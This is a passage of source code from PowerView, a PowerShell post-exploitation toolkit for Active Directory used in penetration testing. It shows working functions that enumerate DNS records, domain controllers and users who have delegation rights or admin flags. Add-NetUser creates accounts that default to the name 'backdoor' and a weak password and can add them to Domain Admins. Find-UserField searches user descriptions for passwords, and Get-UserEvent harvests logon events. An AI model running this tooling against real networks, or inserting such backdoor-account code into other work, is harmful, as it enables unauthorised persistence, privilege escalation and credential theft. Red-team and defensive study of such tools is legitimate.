2033 else {
2034 $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
2035 }
2036 }
2037 $Results.dispose()
2038 $DNSSearcher.dispose()
2039 }
2040
2041 $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones"
2042 $DNSSearcher.filter="(objectClass=dnsZone)"
2043
2044 if($DNSSearcher) {
2045 $Results = $DNSSearcher.FindAll()
2046 $Results | Where-Object {$_} | ForEach-Object {
2047 # convert/process the LDAP fields for each result
2048 $Properties = Convert-LDAPProperty -Properties $_.Properties
2049 $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name
2050
2051 if ($FullData) {
2052 $Properties
2053 }
2054 else {
2055 $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
2056 }
2057 }
2058 $Results.dispose()
2059 $DNSSearcher.dispose()
2060 }
2061}
2062
2063
2064filter Get-DNSRecord {
2065<#
2066 .SYNOPSIS
2067
2068 Enumerates the Active Directory DNS records for a given zone.
2069
2070 .PARAMETER ZoneName
2071
2072 The zone to query for records (which can be enumearted with Get-DNSZone). Required.
2073
2074 .PARAMETER Domain
2075
2076 The domain to query for zones, defaults to the current domain.
2077
2078 .PARAMETER DomainController
2079
2080 Domain controller to reflect LDAP queries through.
2081
2082 .PARAMETER PageSize
2083
2084 The PageSize to set for the LDAP searcher object.
2085
2086 .PARAMETER Credential
2087
2088 A [Management.Automation.PSCredential] object of alternate credentials
2089 for connection to the target domain.
2090
2091 .EXAMPLE
2092
2093 PS C:\> Get-DNSRecord -ZoneName testlab.local
2094
2095 Retrieve all records for the testlab.local zone.
2096
2097 .EXAMPLE
2098
2099 PS C:\> Get-DNSZone | Get-DNSRecord
2100
2101 Retrieve all records for all zones in the current domain.
2102
2103 .EXAMPLE
2104
2105 PS C:\> Get-DNSZone -Domain dev.testlab.local | Get-DNSRecord -Domain dev.testlab.local
2106
2107 Retrieve all records for all zones in the dev.testlab.local domain.
2108#>
2109
2110 param(
2111 [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
2112 [String]
2113 $ZoneName,
2114
2115 [String]
2116 $Domain,
2117
2118 [String]
2119 $DomainController,
2120
2121 [ValidateRange(1,10000)]
2122 [Int]
2123 $PageSize = 200,
2124
2125 [Management.Automation.PSCredential]
2126 $Credential
2127 )
2128
2129 $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
2130 $DNSSearcher.filter="(objectClass=dnsNode)"
2131
2132 if($DNSSearcher) {
2133 $Results = $DNSSearcher.FindAll()
2134 $Results | Where-Object {$_} | ForEach-Object {
2135 try {
2136 # convert/process the LDAP fields for each result
2137 $Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
2138 $Properties | Add-Member NoteProperty 'ZoneName' $ZoneName
2139
2140 # convert the record and extract the properties
2141 if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
2142 # TODO: handle multiple nested records properly?
2143 $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0]
2144 }
2145 else {
2146 $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord
2147 }
2148
2149 if($Record) {
2150 $Record.psobject.properties | ForEach-Object {
2151 $Properties | Add-Member NoteProperty $_.Name $_.Value
2152 }
2153 }
2154
2155 $Properties
2156 }
2157 catch {
2158 Write-Warning "ERROR: $_"
2159 $Properties
2160 }
2161 }
2162 $Results.dispose()
2163 $DNSSearcher.dispose()
2164 }
2165}
2166
2167
2168filter Get-NetDomain {
2169<#
2170 .SYNOPSIS
2171
2172 Returns a given domain object.
2173
2174 .PARAMETER Domain
2175
2176 The domain name to query for, defaults to the current domain.
2177
2178 .PARAMETER Credential
2179
2180 A [Management.Automation.PSCredential] object of alternate credentials
2181 for connection to the target domain.
2182
2183 .EXAMPLE
2184
2185 PS C:\> Get-NetDomain -Domain testlab.local
2186
2187 .EXAMPLE
2188
2189 PS C:\> "testlab.local" | Get-NetDomain
2190
2191 .LINK
2192
2193 http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
2194#>
2195
2196 param(
2197 [Parameter(ValueFromPipeline=$True)]
2198 [String]
2199 $Domain,
2200
2201 [Management.Automation.PSCredential]
2202 $Credential
2203 )
2204
2205 if($Credential) {
2206
2207 Write-Verbose "Using alternate credentials for Get-NetDomain"
2208
2209 if(!$Domain) {
2210 # if no domain is supplied, extract the logon domain from the PSCredential passed
2211 $Domain = $Credential.GetNetworkCredential().Domain
2212 Write-Verbose "Extracted domain '$Domain' from -Credential"
2213 }
2214
2215 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
2216
2217 try {
2218 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
2219 }
2220 catch {
2221 Write-Verbose "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
2222 $Null
2223 }
2224 }
2225 elseif($Domain) {
2226 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
2227 try {
2228 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
2229 }
2230 catch {
2231 Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust."
2232 $Null
2233 }
2234 }
2235 else {
2236 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
2237 }
2238}
2239
2240
2241filter Get-NetForest {
2242<#
2243 .SYNOPSIS
2244
2245 Returns a given forest object.
2246
2247 .PARAMETER Forest
2248
2249 The forest name to query for, defaults to the current domain.
2250
2251 .PARAMETER Credential
2252
2253 A [Management.Automation.PSCredential] object of alternate credentials
2254 for connection to the target domain.
2255
2256 .EXAMPLE
2257
2258 PS C:\> Get-NetForest -Forest external.domain
2259
2260 .EXAMPLE
2261
2262 PS C:\> "external.domain" | Get-NetForest
2263#>
2264
2265 param(
2266 [Parameter(ValueFromPipeline=$True)]
2267 [String]
2268 $Forest,
2269
2270 [Management.Automation.PSCredential]
2271 $Credential
2272 )
2273
2274 if($Credential) {
2275
2276 Write-Verbose "Using alternate credentials for Get-NetForest"
2277
2278 if(!$Forest) {
2279 # if no domain is supplied, extract the logon domain from the PSCredential passed
2280 $Forest = $Credential.GetNetworkCredential().Domain
2281 Write-Verbose "Extracted domain '$Forest' from -Credential"
2282 }
2283
2284 $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
2285
2286 try {
2287 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
2288 }
2289 catch {
2290 Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
2291 $Null
2292 }
2293 }
2294 elseif($Forest) {
2295 $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
2296 try {
2297 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
2298 }
2299 catch {
2300 Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust."
2301 return $Null
2302 }
2303 }
2304 else {
2305 # otherwise use the current forest
2306 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
2307 }
2308
2309 if($ForestObject) {
2310 # get the SID of the forest root
2311 $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
2312 $Parts = $ForestSid -Split "-"
2313 $ForestSid = $Parts[0..$($Parts.length-2)] -join "-"
2314 $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
2315 $ForestObject
2316 }
2317}
2318
2319
2320filter Get-NetForestDomain {
2321<#
2322 .SYNOPSIS
2323
2324 Return all domains for a given forest.
2325
2326 .PARAMETER Forest
2327
2328 The forest name to query domain for.
2329
2330 .PARAMETER Credential
2331
2332 A [Management.Automation.PSCredential] object of alternate credentials
2333 for connection to the target domain.
2334
2335 .EXAMPLE
2336
2337 PS C:\> Get-NetForestDomain
2338
2339 .EXAMPLE
2340
2341 PS C:\> Get-NetForestDomain -Forest external.local
2342#>
2343
2344 param(
2345 [Parameter(ValueFromPipeline=$True)]
2346 [String]
2347 $Forest,
2348
2349 [Management.Automation.PSCredential]
2350 $Credential
2351 )
2352
2353 $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential
2354
2355 if($ForestObject) {
2356 $ForestObject.Domains
2357 }
2358}
2359
2360
2361filter Get-NetForestCatalog {
2362<#
2363 .SYNOPSIS
2364
2365 Return all global catalogs for a given forest.
2366
2367 .PARAMETER Forest
2368
2369 The forest name to query domain for.
2370
2371 .PARAMETER Credential
2372
2373 A [Management.Automation.PSCredential] object of alternate credentials
2374 for connection to the target domain.
2375
2376 .EXAMPLE
2377
2378 PS C:\> Get-NetForestCatalog
2379#>
2380
2381 param(
2382 [Parameter(ValueFromPipeline=$True)]
2383 [String]
2384 $Forest,
2385
2386 [Management.Automation.PSCredential]
2387 $Credential
2388 )
2389
2390 $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential
2391
2392 if($ForestObject) {
2393 $ForestObject.FindAllGlobalCatalogs()
2394 }
2395}
2396
2397
2398filter Get-NetDomainController {
2399<#
2400 .SYNOPSIS
2401
2402 Return the current domain controllers for the active domain.
2403
2404 .PARAMETER Domain
2405
2406 The domain to query for domain controllers, defaults to the current domain.
2407
2408 .PARAMETER DomainController
2409
2410 Domain controller to reflect LDAP queries through.
2411
2412 .PARAMETER LDAP
2413
2414 Switch. Use LDAP queries to determine the domain controllers.
2415
2416 .PARAMETER Credential
2417
2418 A [Management.Automation.PSCredential] object of alternate credentials
2419 for connection to the target domain.
2420
2421 .EXAMPLE
2422
2423 PS C:\> Get-NetDomainController -Domain 'test.local'
2424
2425 Determine the domain controllers for 'test.local'.
2426
2427 .EXAMPLE
2428
2429 PS C:\> Get-NetDomainController -Domain 'test.local' -LDAP
2430
2431 Determine the domain controllers for 'test.local' using LDAP queries.
2432
2433 .EXAMPLE
2434
2435 PS C:\> 'test.local' | Get-NetDomainController
2436
2437 Determine the domain controllers for 'test.local'.
2438#>
2439
2440 [CmdletBinding()]
2441 param(
2442 [Parameter(ValueFromPipeline=$True)]
2443 [String]
2444 $Domain,
2445
2446 [String]
2447 $DomainController,
2448
2449 [Switch]
2450 $LDAP,
2451
2452 [Management.Automation.PSCredential]
2453 $Credential
2454 )
2455
2456 if($LDAP -or $DomainController) {
2457 # filter string to return all domain controllers
2458 Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
2459 }
2460 else {
2461 $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
2462 if($FoundDomain) {
2463 $Founddomain.DomainControllers
2464 }
2465 }
2466}
2467
2468
2469########################################################
2470#
2471# "net *" replacements and other fun start below
2472#
2473########################################################
2474
2475function Get-NetUser {
2476<#
2477 .SYNOPSIS
2478
2479 Query information for a given user or users in the domain
2480 using ADSI and LDAP. Another -Domain can be specified to
2481 query for users across a trust.
2482 Replacement for "net users /domain"
2483
2484 .PARAMETER UserName
2485
2486 Username filter string, wildcards accepted.
2487
2488 .PARAMETER Domain
2489
2490 The domain to query for users, defaults to the current domain.
2491
2492 .PARAMETER DomainController
2493
2494 Domain controller to reflect LDAP queries through.
2495
2496 .PARAMETER ADSpath
2497
2498 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
2499 Useful for OU queries.
2500
2501 .PARAMETER Filter
2502
2503 A customized ldap filter string to use, e.g. "(description=*admin*)"
2504
2505 .PARAMETER AdminCount
2506
2507 Switch. Return users with adminCount=1.
2508
2509 .PARAMETER SPN
2510
2511 Switch. Only return user objects with non-null service principal names.
2512
2513 .PARAMETER Unconstrained
2514
2515 Switch. Return users that have unconstrained delegation.
2516
2517 .PARAMETER AllowDelegation
2518
2519 Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
2520
2521 .PARAMETER PageSize
2522
2523 The PageSize to set for the LDAP searcher object.
2524
2525 .PARAMETER Credential
2526
2527 A [Management.Automation.PSCredential] object of alternate credentials
2528 for connection to the target domain.
2529
2530 .EXAMPLE
2531
2532 PS C:\> Get-NetUser -Domain testing
2533
2534 .EXAMPLE
2535
2536 PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local"
2537#>
2538
2539 param(
2540 [Parameter(Position=0, ValueFromPipeline=$True)]
2541 [String]
2542 $UserName,
2543
2544 [String]
2545 $Domain,
2546
2547 [String]
2548 $DomainController,
2549
2550 [String]
2551 $ADSpath,
2552
2553 [String]
2554 $Filter,
2555
2556 [Switch]
2557 $SPN,
2558
2559 [Switch]
2560 $AdminCount,
2561
2562 [Switch]
2563 $Unconstrained,
2564
2565 [Switch]
2566 $AllowDelegation,
2567
2568 [ValidateRange(1,10000)]
2569 [Int]
2570 $PageSize = 200,
2571
2572 [Management.Automation.PSCredential]
2573 $Credential
2574 )
2575
2576 begin {
2577 # so this isn't repeated if users are passed on the pipeline
2578 $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential
2579 }
2580
2581 process {
2582 if($UserSearcher) {
2583
2584 # if we're checking for unconstrained delegation
2585 if($Unconstrained) {
2586 Write-Verbose "Checking for unconstrained delegation"
2587 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
2588 }
2589 if($AllowDelegation) {
2590 Write-Verbose "Checking for users who can be delegated"
2591 # negation of "Accounts that are sensitive and not trusted for delegation"
2592 $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))"
2593 }
2594 if($AdminCount) {
2595 Write-Verbose "Checking for adminCount=1"
2596 $Filter += "(admincount=1)"
2597 }
2598
2599 # check if we're using a username filter or not
2600 if($UserName) {
2601 # samAccountType=805306368 indicates user objects
2602 $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)"
2603 }
2604 elseif($SPN) {
2605 $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)"
2606 }
2607 else {
2608 # filter is something like "(samAccountName=*blah*)" if specified
2609 $UserSearcher.filter="(&(samAccountType=805306368)$Filter)"
2610 }
2611
2612 $Results = $UserSearcher.FindAll()
2613 $Results | Where-Object {$_} | ForEach-Object {
2614 # convert/process the LDAP fields for each result
2615 $User = Convert-LDAPProperty -Properties $_.Properties
2616 $User.PSObject.TypeNames.Add('PowerView.User')
2617 $User
2618 }
2619 $Results.dispose()
2620 $UserSearcher.dispose()
2621 }
2622 }
2623}
2624
2625
2626function Add-NetUser {
2627<#
2628 .SYNOPSIS
2629
2630 Adds a domain user or a local user to the current (or remote) machine,
2631 if permissions allow, utilizing the WinNT service provider and
2632 DirectoryServices.AccountManagement, respectively.
2633
2634 The default behavior is to add a user to the local machine.
2635 An optional group name to add the user to can be specified.
2636
2637 .PARAMETER UserName
2638
2639 The username to add. If not given, it defaults to 'backdoor'
2640
2641 .PARAMETER Password
2642
2643 The password to set for the added user. If not given, it defaults to 'Password123!'
2644
2645 .PARAMETER GroupName
2646
2647 Group to optionally add the user to.
2648
2649 .PARAMETER ComputerName
2650
2651 Hostname to add the local user to, defaults to 'localhost'
2652
2653 .PARAMETER Domain
2654
2655 Specified domain to add the user to.
2656
2657 .EXAMPLE
2658
2659 PS C:\> Add-NetUser -UserName john -Password 'Password123!'
2660
2661 Adds a localuser 'john' to the local machine with password of 'Password123!'
2662
2663 .EXAMPLE
2664
2665 PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local
2666
2667 Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group.
2668
2669 .EXAMPLE
2670
2671 PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain ''
2672
2673 Adds the user "john" with password "password" to the current domain and adds
2674 the user to the domain group "Domain Admins"
2675
2676 .EXAMPLE
2677
2678 PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing'
2679
2680 Adds the user "john" with password "password" to the 'testing' domain and adds
2681 the user to the domain group "Domain Admins"
2682
2683 .Link
2684
2685 http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx
2686#>
2687
2688 [CmdletBinding()]
2689 Param (
2690 [ValidateNotNullOrEmpty()]
2691 [String]
2692 $UserName = 'backdoor',
2693
2694 [ValidateNotNullOrEmpty()]
2695 [String]
2696 $Password = 'Password123!',
2697
2698 [ValidateNotNullOrEmpty()]
2699 [String]
2700 $GroupName,
2701
2702 [ValidateNotNullOrEmpty()]
2703 [Alias('HostName')]
2704 [String]
2705 $ComputerName = 'localhost',
2706
2707 [ValidateNotNullOrEmpty()]
2708 [String]
2709 $Domain
2710 )
2711
2712 if ($Domain) {
2713
2714 $DomainObject = Get-NetDomain -Domain $Domain
2715 if(-not $DomainObject) {
2716 Write-Warning "Error in grabbing $Domain object"
2717 return $Null
2718 }
2719
2720 # add the assembly we need
2721 Add-Type -AssemblyName System.DirectoryServices.AccountManagement
2722
2723 # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
2724 # get the domain context
2725 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject
2726
2727 # create the user object
2728 $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context
2729
2730 # set user properties
2731 $User.Name = $UserName
2732 $User.SamAccountName = $UserName
2733 $User.PasswordNotRequired = $False
2734 $User.SetPassword($Password)
2735 $User.Enabled = $True
2736
2737 Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain"
2738
2739 try {
2740 # commit the user
2741 $User.Save()
2742 "[*] User $UserName successfully created in domain $Domain"
2743 }
2744 catch {
2745 Write-Warning '[!] User already exists!'
2746 return
2747 }
2748 }
2749 else {
2750
2751 Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName"
2752
2753 # if it's not a domain add, it's a local machine add
2754 $ObjOu = [ADSI]"WinNT://$ComputerName"
2755 $ObjUser = $ObjOu.Create('User', $UserName)
2756 $ObjUser.SetPassword($Password)
2757
2758 # commit the changes to the local machine
2759 try {
2760 $Null = $ObjUser.SetInfo()
2761 "[*] User $UserName successfully created on host $ComputerName"
2762 }
2763 catch {
2764 Write-Warning '[!] Account already exists!'
2765 return
2766 }
2767 }
2768
2769 # if a group is specified, invoke Add-NetGroupUser and return its value
2770 if ($GroupName) {
2771 # if we're adding the user to a domain
2772 if ($Domain) {
2773 Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain
2774 "[*] User $UserName successfully added to group $GroupName in domain $Domain"
2775 }
2776 # otherwise, we're adding to a local group
2777 else {
2778 Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName
2779 "[*] User $UserName successfully added to group $GroupName on host $ComputerName"
2780 }
2781 }
2782}
2783
2784
2785function Add-NetGroupUser {
2786<#
2787 .SYNOPSIS
2788
2789 Adds a user to a domain group or a local group on the current (or remote) machine,
2790 if permissions allow, utilizing the WinNT service provider and
2791 DirectoryServices.AccountManagement, respectively.
2792
2793 .PARAMETER UserName
2794
2795 The domain username to query for.
2796
2797 .PARAMETER GroupName
2798
2799 Group to add the user to.
2800
2801 .PARAMETER ComputerName
2802
2803 Hostname to add the user to, defaults to localhost.
2804
2805 .PARAMETER Domain
2806
2807 Domain to add the user to.
2808
2809 .EXAMPLE
2810
2811 PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators
2812
2813 Adds a localuser "john" to the local group "Administrators"
2814
2815 .EXAMPLE
2816
2817 PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local
2818
2819 Adds the existing user "john" to the domain group "Domain Admins" in "dev.local"
2820#>
2821
2822 [CmdletBinding()]
2823 param(
2824 [Parameter(Mandatory = $True)]
2825 [ValidateNotNullOrEmpty()]
2826 [String]
2827 $UserName,
2828
2829 [Parameter(Mandatory = $True)]
2830 [ValidateNotNullOrEmpty()]
2831 [String]
2832 $GroupName,
2833
2834 [ValidateNotNullOrEmpty()]
2835 [Alias('HostName')]
2836 [String]
2837 $ComputerName,
2838
2839 [String]
2840 $Domain
2841 )
2842
2843 # add the assembly if we need it
2844 Add-Type -AssemblyName System.DirectoryServices.AccountManagement
2845
2846 # if we're adding to a remote host's local group, use the WinNT provider
2847 if($ComputerName -and ($ComputerName -ne "localhost")) {
2848 try {
2849 Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName"
2850 ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user")
2851 "[*] User $UserName successfully added to group $GroupName on $ComputerName"
2852 }
2853 catch {
2854 Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName"
2855 return
2856 }
2857 }
2858
2859 # otherwise it's a local machine or domain add
2860 else {
2861 try {
2862 if ($Domain) {
2863 Write-Verbose "Adding user $UserName to $GroupName on domain $Domain"
2864 $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain
2865 $DomainObject = Get-NetDomain -Domain $Domain
2866 if(-not $DomainObject) {
2867 return $Null
2868 }
2869 # get the full principal context
2870 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject
2871 }
2872 else {
2873 # otherwise, get the local machine context
2874 Write-Verbose "Adding user $UserName to $GroupName on localhost"
2875 $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName)
2876 }
2877
2878 # find the particular group
2879 $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName)
2880
2881 # add the particular user to the group
2882 $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName)
2883
2884 # commit the changes
2885 $Group.Save()
2886 }
2887 catch {
2888 Write-Warning "Error adding $UserName to $GroupName : $_"
2889 }
2890 }
2891}
2892
2893
2894function Get-UserProperty {
2895<#
2896 .SYNOPSIS
2897
2898 Returns a list of all user object properties. If a property
2899 name is specified, it returns all [user:property] values.
2900
2901 Taken directly from @obscuresec's post:
2902 http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
2903
2904 .PARAMETER Properties
2905
2906 Property names to extract for users.
2907
2908 .PARAMETER Domain
2909
2910 The domain to query for user properties, defaults to the current domain.
2911
2912 .PARAMETER DomainController
2913
2914 Domain controller to reflect LDAP queries through.
2915
2916 .PARAMETER PageSize
2917
2918 The PageSize to set for the LDAP searcher object.
2919
2920 .PARAMETER Credential
2921
2922 A [Management.Automation.PSCredential] object of alternate credentials
2923 for connection to the target domain.
2924
2925 .EXAMPLE
2926
2927 PS C:\> Get-UserProperty -Domain testing
2928
2929 Returns all user properties for users in the 'testing' domain.
2930
2931 .EXAMPLE
2932
2933 PS C:\> Get-UserProperty -Properties ssn,lastlogon,location
2934
2935 Returns all an array of user/ssn/lastlogin/location combinations
2936 for users in the current domain.
2937
2938 .LINK
2939
2940 http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
2941#>
2942
2943 [CmdletBinding()]
2944 param(
2945 [String[]]
2946 $Properties,
2947
2948 [String]
2949 $Domain,
2950
2951 [String]
2952 $DomainController,
2953
2954 [ValidateRange(1,10000)]
2955 [Int]
2956 $PageSize = 200,
2957
2958 [Management.Automation.PSCredential]
2959 $Credential
2960 )
2961
2962 if($Properties) {
2963 # extract out the set of all properties for each object
2964 $Properties = ,"name" + $Properties
2965 Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties
2966 }
2967 else {
2968 # extract out just the property names
2969 Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name'
2970 }
2971}
2972
2973
2974filter Find-UserField {
2975<#
2976 .SYNOPSIS
2977
2978 Searches user object fields for a given word (default *pass*). Default
2979 field being searched is 'description'.
2980
2981 Taken directly from @obscuresec's post:
2982 http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
2983
2984 .PARAMETER SearchTerm
2985
2986 Term to search for, default of "pass".
2987
2988 .PARAMETER SearchField
2989
2990 User field to search, default of "description".
2991
2992 .PARAMETER ADSpath
2993
2994 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
2995 Useful for OU queries.
2996
2997 .PARAMETER Domain
2998
2999 Domain to search computer fields for, defaults to the current domain.
3000
3001 .PARAMETER DomainController
3002
3003 Domain controller to reflect LDAP queries through.
3004
3005 .PARAMETER PageSize
3006
3007 The PageSize to set for the LDAP searcher object.
3008
3009 .PARAMETER Credential
3010
3011 A [Management.Automation.PSCredential] object of alternate credentials
3012 for connection to the target domain.
3013
3014 .EXAMPLE
3015
3016 PS C:\> Find-UserField -SearchField info -SearchTerm backup
3017
3018 Find user accounts with "backup" in the "info" field.
3019#>
3020
3021 [CmdletBinding()]
3022 param(
3023 [Parameter(Position=0,ValueFromPipeline=$True)]
3024 [String]
3025 $SearchTerm = 'pass',
3026
3027 [String]
3028 $SearchField = 'description',
3029
3030 [String]
3031 $ADSpath,
3032
3033 [String]
3034 $Domain,
3035
3036 [String]
3037 $DomainController,
3038
3039 [ValidateRange(1,10000)]
3040 [Int]
3041 $PageSize = 200,
3042
3043 [Management.Automation.PSCredential]
3044 $Credential
3045 )
3046
3047 Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
3048}
3049
3050
3051filter Get-UserEvent {
3052<#
3053 .SYNOPSIS
3054
3055 Dump and parse security events relating to an account logon (ID 4624)
3056 or a TGT request event (ID 4768). Intended to be used and tested on
3057 Windows 2008 Domain Controllers.
3058 Admin Reqd? YES
3059
3060 Author: @sixdub
3061
3062 .PARAMETER ComputerName
3063
3064 The computer to get events from. Default: Localhost
3065
3066 .PARAMETER EventType
3067
3068 Either 'logon', 'tgt', or 'all'. Defaults: 'logon'
3069
3070 .PARAMETER DateStart
3071
3072 Filter out all events before this date. Default: 5 days
3073
3074 .PARAMETER Credential
3075
3076 A [Management.Automation.PSCredential] object of alternate credentials
3077 for connection to the target domain.
3078
3079 .EXAMPLE
3080
3081 PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local
3082
3083 .LINK
3084
3085 http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
3086#>
3087
3088 Param(
3089 [Parameter(ValueFromPipeline=$True)]
3090 [String]
3091 $ComputerName = $Env:ComputerName,
3092
3093 [String]
3094 [ValidateSet("logon","tgt","all")]
3095 $EventType = "logon",
3096
3097 [DateTime]
3098 $DateStart = [DateTime]::Today.AddDays(-5),
3099
3100 [Management.Automation.PSCredential]
3101 $Credential
3102 )
3103
3104 if($EventType.ToLower() -like "logon") {
3105 [Int32[]]$ID = @(4624)
3106 }
3107 elseif($EventType.ToLower() -like "tgt") {
3108 [Int32[]]$ID = @(4768)
3109 }
3110 else {
3111 [Int32[]]$ID = @(4624, 4768)
3112 }
3113
3114 if($Credential) {
3115 Write-Verbose "Using alternative credentials"
3116 $Arguments = @{
3117 'ComputerName' = $ComputerName;
3118 'Credential' = $Credential;
3119 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
3120 'ErrorAction' = 'SilentlyContinue';
3121 }
3122 }
3123 else {
3124 $Arguments = @{
3125 'ComputerName' = $ComputerName;
3126 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
3127 'ErrorAction' = 'SilentlyContinue';
3128 }
3129 }
3130
3131 # grab all events matching our filter for the specified host
3132 Get-WinEvent @Arguments | ForEach-Object {
3133
3134 if($ID -contains 4624) {
3135 # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10)
3136 if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') {
3137 if($Matches) {
3138 $LogonType = $Matches[0].trim()
3139 $Matches = $Null
3140 }
3141 }
3142 else {
3143 $LogonType = ""
3144 }
3145
3146 # interactive logons or domain logons
3147 if (($LogonType -eq 2) -or ($LogonType -eq 3)) {
3148 try {
3149 # parse and store the account used and the address they came from
3150 if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') {
3151 if($Matches) {
3152 $UserName = $Matches[0].split("`n")[2].split(":")[1].trim()
3153 $Domain = $Matches[0].split("`n")[3].split(":")[1].trim()
3154 $Matches = $Null
3155 }
3156 }
3157 if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') {
3158 if($Matches) {
3159 $Address = $Matches[0].split("`n")[2].split(":")[1].trim()
3160 $Matches = $Null
3161 }
3162 }
3163
3164 # only add if there was account information not for a machine or anonymous logon
3165 if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) {
3166 $LogonEventProperties = @{
3167 'Domain' = $Domain
